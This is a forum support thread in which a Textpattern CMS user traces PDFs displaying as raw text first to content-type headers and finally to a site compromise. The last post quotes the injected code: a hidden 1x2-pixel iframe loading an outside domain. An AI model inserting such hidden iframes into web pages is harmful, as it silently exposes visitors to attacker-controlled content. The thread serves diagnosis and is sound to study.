Go to main content

Textpattern CMS support forum

You are not logged in. Register | Login | Help

#1 2009-11-16 23:15:46

dreamer
Member
Registered: 2007-06-08
Posts: 242

[Solved] pdf files are coming out in ASCII code format

On my page here http://www.gdpn.org/strategies/best-practices-conferences , all the pdf links are opening up in ASCII characters instead of a pdf. Does anyone know why? Yikes!

Offline

#2 2009-11-16 23:44:30

MattD
Plugin Author
From: Monterey, California
Registered: 2008-03-21
Posts: 1,254
Website

Re: [Solved] pdf files are coming out in ASCII code format

Your server is sending a header with Content-Type => text/html so the browser doesn’t know that it’s a pdf.

My textpattern install sends a header with Content-Type => application/octet-stream which forces the browser to download the file instead of open it in a pdf viewer. I believe this is the default textpattern behavior.


My Plugins

Piwik Dashboard, Google Analytics Dashboard, Minibar, Article Image Colorpicker, Admin Datepicker, Admin Google Map, Admin Colorpicker

Offline

#3 2009-11-16 23:54:52

dreamer
Member
Registered: 2007-06-08
Posts: 242

Re: [Solved] pdf files are coming out in ASCII code format

How would I fix this? It was working fine before so not sure why this change all of a sudden.

Offline

#4 2009-11-17 23:40:41

dreamer
Member
Registered: 2007-06-08
Posts: 242

Re: [Solved] pdf files are coming out in ASCII code format

Actually, this can’t be the problem because if you view source, you’ll find that my header has the following:

<meta http-equiv=“content-type” content=“application/xhtml+xml; charset=utf-8” />

I tried putting in this

<meta http-equiv=“content-type” content=“application/octet-stream; charset=utf-8” />

but it still doesn’t work

Offline

#5 2009-11-17 23:51:53

MattD
Plugin Author
From: Monterey, California
Registered: 2008-03-21
Posts: 1,254
Website

Re: [Solved] pdf files are coming out in ASCII code format

That is not the header I was referring to. You can view the HTTP Headers with Firebug or via a website tool

Try adding the following to your .htaccess.

AddType application/pdf .pdf .PDF

(untested)

Last edited by MattD (2009-11-18 00:00:02)


My Plugins

Piwik Dashboard, Google Analytics Dashboard, Minibar, Article Image Colorpicker, Admin Datepicker, Admin Google Map, Admin Colorpicker

Offline

#6 2009-11-19 20:13:51

dreamer
Member
Registered: 2007-06-08
Posts: 242

Re: [Solved] pdf files are coming out in ASCII code format

no- that doesn’t seem to work either.

Offline

#7 2009-11-23 05:46:47

dreamer
Member
Registered: 2007-06-08
Posts: 242

Re: [Solved] pdf files are coming out in ASCII code format

Ok- Here’s an update. I think this could be a TXP issue than a server issue. Here’s why:

I have a seperate folder on the site where I have bunch of pdfs stored. I have no problem downloading those pdfs. They were uploaded either through the cpanel file manager or through my ftp client.

However, the pdfs that are being accessed by the link I initially gave were uploaded through the TXP plugin, ebl_image edit plugin . I will post to the author’s plugin thread to see I can find out why this is being caused.

I did try to force the server with the proper mime type in the .htaccess file, as Matt suggested, but that doesn’t work at all. Btw, it’s just

AddType application/pdf .pdf 

There’s no need for the PDF in all caps

Last edited by dreamer (2009-11-23 05:47:56)

Offline

#8 2009-11-23 17:27:25

els
Moderator
From: The Netherlands
Registered: 2004-06-06
Posts: 7,458

Re: [Solved] pdf files are coming out in ASCII code format

Have you tried if re-uploading the files (using ftp) makes a difference?

Offline

#9 2009-11-23 17:42:08

MattD
Plugin Author
From: Monterey, California
Registered: 2008-03-21
Posts: 1,254
Website

Re: [Solved] pdf files are coming out in ASCII code format

I’m confused on why a image uploading plugin was used to upload files?


My Plugins

Piwik Dashboard, Google Analytics Dashboard, Minibar, Article Image Colorpicker, Admin Datepicker, Admin Google Map, Admin Colorpicker

Offline

#10 2009-11-23 18:48:24

dreamer
Member
Registered: 2007-06-08
Posts: 242

Re: [Solved] pdf files are coming out in ASCII code format

Els- Indeed I did. I uploaded the pdfs to both the root directory and the textpattern directory (where it is typically uploaded if you used TXP) and they are both accessible.

Perhaps it’s not the plugin itself but something within TXP? I can’t recall uploading any scripts in the past couple months that would cause conflict.

Offline

#11 2009-11-23 18:58:50

dreamer
Member
Registered: 2007-06-08
Posts: 242

Re: [Solved] pdf files are coming out in ASCII code format

Actually, it should be noted that TXP uploads the files to the directory, www.yourdomain.com/file_download/

So perhaps this directory causes the ascii characters?

Last edited by dreamer (2009-11-23 19:12:44)

Offline

#12 2009-11-23 19:20:23

dreamer
Member
Registered: 2007-06-08
Posts: 242

Re: [Solved] pdf files are coming out in ASCII code format

Ok- I finally found the issue. Apparently, the site was hacked into. There was this line of code at the top of the head that interfered with the pdfs

<iframe src="http://myndomain.info/" width="1" height="2"></iframe>

And that is what caused the issue. I’m gonna have to work on increasing security for this site. Thanks guys.

Offline

Board footer

Powered by FluxBB